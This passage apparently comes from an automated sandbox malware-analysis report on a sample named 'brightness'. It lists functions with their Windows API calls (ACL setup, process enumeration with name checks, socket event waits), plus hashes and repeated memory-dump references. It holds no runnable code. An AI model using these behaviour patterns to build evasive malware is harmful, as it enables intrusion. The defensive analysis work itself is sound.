Instruction Fuzzy Hash: B8B13C74960289DFDB24CF85D8C4BADB7B1FF48308F648519E805AB285C7B5A9E2CF41

Function 002D0400 Relevance: 10.6, APIs: 7, Instructions: 81memoryCOMMON

Download Yara Rule

APIs

AllocateAndInitializeSid.ADVAPI32(00000000,00000001,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 002D044D
_memset.LIBCMT ref: 002D0463
SetEntriesInAclW.ADVAPI32(00000001,FFFFFFFF,00000000,00000000), ref: 002D04A0
LocalAlloc.KERNEL32(00000040,00000014), ref: 002D04B3
InitializeSecurityDescriptor.ADVAPI32(00000000,00000001), ref: 002D04C8
SetSecurityDescriptorDacl.ADVAPI32(00000000,00000001,00000000,00000000), ref: 002D04DE
LocalFree.KERNEL32(00000000), ref: 002D04F1

Memory Dump Source

Source File: 00000005.00000002.1896378381.00000000002C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000005.00000002.1896352252.00000000002C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.00000000002FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.0000000000336000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896564887.0000000000340000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896659183.0000000000341000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896741059.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896864784.000000000034E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897169354.00000000004A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897192285.00000000004A7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897287254.00000000004DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897311500.00000000004E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897331050.00000000004E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897352309.00000000004E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897378643.00000000004FD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897433651.00000000004FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897453743.0000000000505000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897503437.0000000000510000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897548280.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897625351.000000000053A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897652803.000000000053B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897709201.0000000000540000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897751930.0000000000557000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897783119.0000000000559000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897811200.0000000000565000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897881697.0000000000566000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897936270.0000000000571000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898154033.00000000005A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898314115.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898355775.00000000005B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898373213.00000000005B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005B4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898520113.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2c0000_brightness.jbxd

Yara matches

Similarity

API ID: DescriptorInitializeLocalSecurity$AllocAllocateDaclEntriesFree_memset
String ID:
API String ID: 4046344516-0
Opcode ID: eba78c74ef06092f064294716bb59b2505f79ac0d69964cf1dd3cd9fc3a5500b
Instruction ID: 48e68a0a184908962f557b33db03fd151591f67c92564fbfc92b808d05246190
Opcode Fuzzy Hash: eba78c74ef06092f064294716bb59b2505f79ac0d69964cf1dd3cd9fc3a5500b
Instruction Fuzzy Hash: 1331EC70E50249EFEB01DFE4D889BEEBBB8AB04704F108559F600BA2D1D7B55A44CBA1

Function 002C4410 Relevance: 9.1, APIs: 6, Instructions: 55processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 002C4424
Process32FirstW.KERNEL32(000000FF,0000022C), ref: 002C444C
StrCmpIW.SHLWAPI(?,-00334CE4), ref: 002C4496
CloseHandle.KERNEL32(000000FF), ref: 002C44A4
Process32NextW.KERNEL32(000000FF,0000022C), ref: 002C44BE
CloseHandle.KERNEL32(000000FF), ref: 002C44CC

Memory Dump Source

Source File: 00000005.00000002.1896378381.00000000002C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000005.00000002.1896352252.00000000002C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.00000000002FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.0000000000336000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896564887.0000000000340000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896659183.0000000000341000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896741059.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896864784.000000000034E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897169354.00000000004A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897192285.00000000004A7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897287254.00000000004DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897311500.00000000004E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897331050.00000000004E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897352309.00000000004E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897378643.00000000004FD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897433651.00000000004FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897453743.0000000000505000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897503437.0000000000510000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897548280.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897625351.000000000053A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897652803.000000000053B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897709201.0000000000540000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897751930.0000000000557000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897783119.0000000000559000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897811200.0000000000565000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897881697.0000000000566000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897936270.0000000000571000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898154033.00000000005A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898314115.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898355775.00000000005B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898373213.00000000005B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005B4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898520113.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2c0000_brightness.jbxd

Yara matches

Similarity

API ID: CloseHandleProcess32$CreateFirstNextSnapshotToolhelp32
String ID:
API String ID: 1789362936-0
Opcode ID: 7b506d59ed0292bd64eeb6e717efdbbb871aa77e512cd044261527e54ab10cb9
Instruction ID: 6c4ffe973224757a96173259f13000de787809a4665918e5a971530bc7856499
Opcode Fuzzy Hash: 7b506d59ed0292bd64eeb6e717efdbbb871aa77e512cd044261527e54ab10cb9
Instruction Fuzzy Hash: 52114F75911218EBCB28EFA4DD9CB9A77B8AB04300F204698F509A6290D7789B51DF10

Function 002C44E0 Relevance: 9.1, APIs: 6, Instructions: 55processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 002C44F4
Process32FirstW.KERNEL32(000000FF,0000022C), ref: 002C451C
StrCmpIW.SHLWAPI(?,-003358D8), ref: 002C4566
CloseHandle.KERNEL32(000000FF), ref: 002C4574
Process32NextW.KERNEL32(000000FF,0000022C), ref: 002C458E
CloseHandle.KERNEL32(000000FF), ref: 002C459C

Memory Dump Source

Source File: 00000005.00000002.1896378381.00000000002C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000005.00000002.1896352252.00000000002C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.00000000002FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.0000000000336000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896564887.0000000000340000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896659183.0000000000341000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896741059.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896864784.000000000034E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897169354.00000000004A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897192285.00000000004A7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897287254.00000000004DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897311500.00000000004E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897331050.00000000004E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897352309.00000000004E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897378643.00000000004FD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897433651.00000000004FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897453743.0000000000505000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897503437.0000000000510000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897548280.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897625351.000000000053A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897652803.000000000053B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897709201.0000000000540000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897751930.0000000000557000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897783119.0000000000559000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897811200.0000000000565000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897881697.0000000000566000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897936270.0000000000571000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898154033.00000000005A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898314115.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898355775.00000000005B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898373213.00000000005B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005B4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898520113.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2c0000_brightness.jbxd

Yara matches

Similarity

API ID: CloseHandleProcess32$CreateFirstNextSnapshotToolhelp32
String ID:
API String ID: 1789362936-0
Opcode ID: 1a8aa2f15da2173bceef7d74ea46f763d52fe3166fb7f82ead6324258df5363a
Instruction ID: d33b83a5cf413e2bb8c9545ec5b60dc5660e46eb4daf9937595d6bc8b3c66629
Opcode Fuzzy Hash: 1a8aa2f15da2173bceef7d74ea46f763d52fe3166fb7f82ead6324258df5363a
Instruction Fuzzy Hash: 1E114F71921208DBCB14EFA4DD9CBAAB7B8AF14340F604698B506A7290D774DB51DF40

Function 002DCA00 Relevance: 9.0, APIs: 6, Instructions: 41processCOMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32 ref: 002DCA09
CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 002DCA16
Process32FirstW.KERNEL32(00000000,0000022C), ref: 002DCA3A
CloseHandle.KERNEL32(00000000), ref: 002DCA53
Process32NextW.KERNEL32(00000000,0000022C), ref: 002DCA6C
CloseHandle.KERNEL32(00000000), ref: 002DCA7A

Memory Dump Source

Source File: 00000005.00000002.1896378381.00000000002C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000005.00000002.1896352252.00000000002C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.00000000002FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.0000000000336000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896564887.0000000000340000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896659183.0000000000341000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896741059.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896864784.000000000034E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897169354.00000000004A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897192285.00000000004A7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897287254.00000000004DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897311500.00000000004E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897331050.00000000004E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897352309.00000000004E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897378643.00000000004FD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897433651.00000000004FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897453743.0000000000505000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897503437.0000000000510000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897548280.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897625351.000000000053A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897652803.000000000053B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897709201.0000000000540000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897751930.0000000000557000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897783119.0000000000559000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897811200.0000000000565000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897881697.0000000000566000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897936270.0000000000571000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898154033.00000000005A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898314115.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898355775.00000000005B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898373213.00000000005B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005B4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898520113.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2c0000_brightness.jbxd

Yara matches

Similarity

API ID: CloseHandleProcess32$CreateCurrentFirstNextProcessSnapshotToolhelp32
String ID:
API String ID: 3177329567-0
Opcode ID: 3fec7490aa71bcd0f9a79be6c477d2a7760b921bc473f20d83fabed86f726906
Instruction ID: 29b8d1fd072d3c0601bda87cb81c0984643ff7db5dc688717d1dcdfac0508f2b
Opcode Fuzzy Hash: 3fec7490aa71bcd0f9a79be6c477d2a7760b921bc473f20d83fabed86f726906
Instruction Fuzzy Hash: 2A010C75A20209EBDB11DFA4DD8CB9DBBB8AF48700F2045A5F505A6290D7349F50DB50

Function 002DFC10 Relevance: 7.7, APIs: 5, Instructions: 166networkCOMMON

Download Yara Rule

APIs

und_memcpy.LIBCMTD ref: 002DFC6A
WSAEventSelect.WS2_32(00000000,00000000,00000022), ref: 002DFCA9
WSAWaitForMultipleEvents.WS2_32(-00000001,00000000,00000000,00000000,00000000), ref: 002DFCCA

Memory Dump Source

Source File: 00000005.00000002.1896378381.00000000002C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000005.00000002.1896352252.00000000002C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.00000000002FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.0000000000336000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896564887.0000000000340000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896659183.0000000000341000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896741059.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896864784.000000000034E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897169354.00000000004A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897192285.00000000004A7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897287254.00000000004DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897311500.00000000004E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897331050.00000000004E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897352309.00000000004E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897378643.00000000004FD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897433651.00000000004FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897453743.0000000000505000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897503437.0000000000510000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897548280.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897625351.000000000053A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897652803.000000000053B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897709201.0000000000540000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897751930.0000000000557000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897783119.0000000000559000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897811200.0000000000565000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897881697.0000000000566000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897936270.0000000000571000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898154033.00000000005A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898314115.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898355775.00000000005B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898373213.00000000005B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005B4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898520113.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2c0000_brightness.jbxd

Yara matches

Similarity

API ID: EventEventsMultipleSelectWaitund_memcpy
String ID:
API String ID: 3111955656-0
Opcode ID: dcbe15851fc58bdb992be4afe4b8431c8ccdc3dc78d1e4dbc849a0ecb6d74d84
Instruction ID: 0afa5fe0421f655135654a23089a7667e4370f5dc9ab4b582dbb5b11a4552224
Opcode Fuzzy Hash: dcbe15851fc58bdb992be4afe4b8431c8ccdc3dc78d1e4dbc849a0ecb6d74d84
Instruction Fuzzy Hash: 3E514BB0910209EFDB54DFA4C985FAEB7B5BF44308F208659EA0667380C774AE51CF94

Function 002DFE10 Relevance: 7.7, APIs: 5, Instructions: 154networkCOMMON

Download Yara Rule

APIs

und_memcpy.LIBCMTD ref: 002DFE6A
WSAEventSelect.WS2_32(00000000,00000000,00000022), ref: 002DFEA9
WSAWaitForMultipleEvents.WS2_32(-00000001,00000000,00000000,000003E8,00000000), ref: 002DFECB
___crtGetLocaleInfoEx.LIBCMTD ref: 002DFF56
WSAGetLastError.WS2_32 ref: 002DFF88

Memory Dump Source

Source File: 00000005.00000002.1896378381.00000000002C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000005.00000002.1896352252.00000000002C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.00000000002FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.0000000000336000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896564887.0000000000340000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896659183.0000000000341000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896741059.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896864784.000000000034E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897169354.00000000004A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897192285.00000000004A7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897287254.00000000004DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897311500.00000000004E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897331050.00000000004E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897352309.00000000004E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897378643.00000000004FD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897433651.00000000004FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897453743.0000000000505000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897503437.0000000000510000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897548280.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897625351.000000000053A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897652803.000000000053B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897709201.0000000000540000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897751930.0000000000557000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897783119.0000000000559000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897811200.0000000000565000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897881697.0000000000566000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897936270.0000000000571000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898154033.00000000005A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898314115.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898355775.00000000005B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898373213.00000000005B3000.00000040.00000001.01000000.00000003.sdmpDownload File
